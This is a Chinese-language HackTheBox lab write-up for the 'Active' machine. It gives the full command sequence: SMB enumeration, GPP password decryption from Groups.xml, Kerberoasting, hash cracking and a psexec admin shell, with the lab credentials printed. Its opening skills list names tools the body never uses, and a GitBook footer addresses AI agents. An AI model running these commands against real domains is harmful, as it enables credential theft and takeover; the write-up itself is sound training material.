> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # Active HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能**: * SMB 枚举 * 破解受密码保护的 ZIP 文件（fcrackzip） * 破解并读取 .PFX 文件（crackpkcs12） * 使用 Evil-WinRM 获取 SSL 访问 * 信息泄露 - 读取用户的 PowerShell 历史记录（用户横向移动） * 滥用 LAPS 获取密码（Get-LAPSPasswords.ps1）（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：**/ 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **枚举与利用：** ### **SMB 枚举：** 使用 crackmapexec 列出系统并查找域名。 ```bash crackmapexec smb 10.10.10.100 ```

#### **使用 NTP 调整时间：** 调整目标机器时间以避免问题 ```bash ntpdate 10.10.10.100 ```

#### /etc/hosts 配置：将域控制器添加到 hosts 文件以允许 ping：

### **列出共享资源** 使用 smbclient 或 smbmap 探索网络上的共享资源。 ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **搜索特定文件**: 浏览目录以查找相关文件 ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

该 `groups.xml` 已识别出可能包含机密信息的文件。 ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **密码解密：** 使用 `gpp-decrypt` 用于解密存储的密码。 ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **凭据验证：** 使用 crackmapexec 检查凭据是否有效 ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **权限探查：** 使用 crackmapexec 和 smbmap 探查网络共享上的权限。 ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### 已获得 user.txt 标志： ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **登录到域控制器：** 使用 rpcclient 连接到域控制器并查看用户和组： ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - 要识别管理员组成员： ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - 要获取特定组中的用户： ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - 要列出所有用户的描述： ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## 漏洞 [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): 通过以下命令成功利用 Kerberoast 漏洞： ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` 该命令会获取一个可利用该漏洞的票证授予服务（TGS）服务票据。然后，为了获取管理员哈希值，在命令中添加 -request 参数： ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **最终利用：** ### **哈希破解：** 使用 John 尝试破解获取到的哈希。 ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **凭据验证：** 使用 crackmapexec 验证获取到的凭据 ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **Psexec 执行：** 使用 psexec.py 获取管理员交互式 shell。 ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **已获得最终 Flag：** 在获得管理员权限后成功获取最终 flag。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.